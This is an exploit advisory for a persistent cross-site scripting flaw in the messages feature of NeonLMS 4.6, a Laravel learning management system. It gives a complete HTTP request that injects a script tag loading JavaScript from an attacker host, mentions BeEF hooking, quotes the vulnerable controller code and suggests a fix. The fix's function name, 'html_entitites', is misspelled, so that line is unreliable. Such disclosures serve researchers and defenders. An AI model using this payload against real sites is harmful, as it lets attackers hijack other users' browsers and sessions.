# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Messages' Persistent Cross Site Scripting
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-05-29
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A

#Vulnerable Request:
POST /user/messages/reply HTTP/1.1

Host: neonlmshost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://neonlmshost/user/messages?thread=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 117



Connection: close

Upgrade-Insecure-Requests: 1



_token=GTpbr2our96dPg1Ojk0C1MyVWr03naCDSgGqfl2J&thread_id=1&message=<script src="//attackerhost/b.js">


#Vulnerable code

payload must be lesser than 35 characters so attacker can only include external js or some kind of beef hook etc.

app\Http\Controllers\Backend\MessagesController.php

public function getUnreadMessages(Request $request){
        $unreadMessageCount = auth()->user()->unreadMessagesCount;
        $unreadThreads = [];
        foreach(auth()->user()->threads as $item){
            if($item->unreadMessagesCount > 0){
                $data = [
                  'thread_id' => $item->id,
                  'message' => str_limit($item->lastMessage->body, 35), ------>vulnerable part
                  'unreadMessagesCount' => $item->unreadMessagesCount,
                  'title' => $item->title
                ];
                $unreadThreads[] = $data;
            }
        }
        return ['unreadMessageCount' =>$unreadMessageCount,'threads' => $unreadThreads];
    }

#fix
'message' => html_entitites(str_limit($item->lastMessage->body, 35)),